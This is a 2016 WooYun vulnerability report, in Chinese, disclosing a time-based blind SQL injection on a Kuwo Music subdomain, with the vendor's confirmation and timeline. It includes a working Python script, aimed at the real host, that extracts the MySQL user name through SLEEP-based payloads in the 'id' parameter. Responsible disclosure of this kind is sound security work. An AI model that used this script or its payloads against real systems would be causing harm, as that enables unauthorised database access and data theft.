漏洞概要 关注数(1) 关注此漏洞
缺陷编号: WooYun-2016-185215
漏洞标题: 酷我音乐某站SQL注入一枚(root权限/附验证脚本)
相关厂商: 酷我音乐
漏洞作者: wybang
提交时间: 2016-03-16 10:30
公开时间: 2016-04-30 14:36
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 11
漏洞状态: 厂商已经确认
漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系
Tags标签: Mysql 注入
漏洞详情
披露状态:
2016-03-16: 细节已通知厂商并且等待厂商处理中
2016-03-16: 厂商已经确认,细节仅向厂商公开
2016-03-26: 细节向核心白帽子及相关领域专家公开
2016-04-05: 细节向普通白帽子公开
2016-04-15: 细节向实习白帽子公开
2016-04-30: 细节向公众公开
简要描述:
RT
详细说明:
注入点:id
报错
手动获取user字段长度
写脚本
# encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user= ''
for i in range(1, 18):
for payload in payloads:
s = "/album/h/xinQingView?pid=3658&page=8¤t_page=1&id=if(now()=sysdate(),SLEEP(IF(ascii(mid(user(),%s,1))=%s,10,0)),0)" % (i, ord(payload))
conn = httplib.HTTPConnection('yule.kuwo.cn', timeout=150)
conn.request(method='GET',
url=s,
headers=headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
if time.time() - start_time > 10.0:
user += payload
print '/n/n[in progress]', user,
break
print '/n/n[Done] MySQL User is %s' % user
root权限
漏洞证明:
修复方案:
参数过滤
版权声明:转载请注明来源 wybang@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2016-03-16 14:36
厂商回复:
感谢对酷我的支持和关注,我们尽快进行修复。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登陆后才能进行评分
评论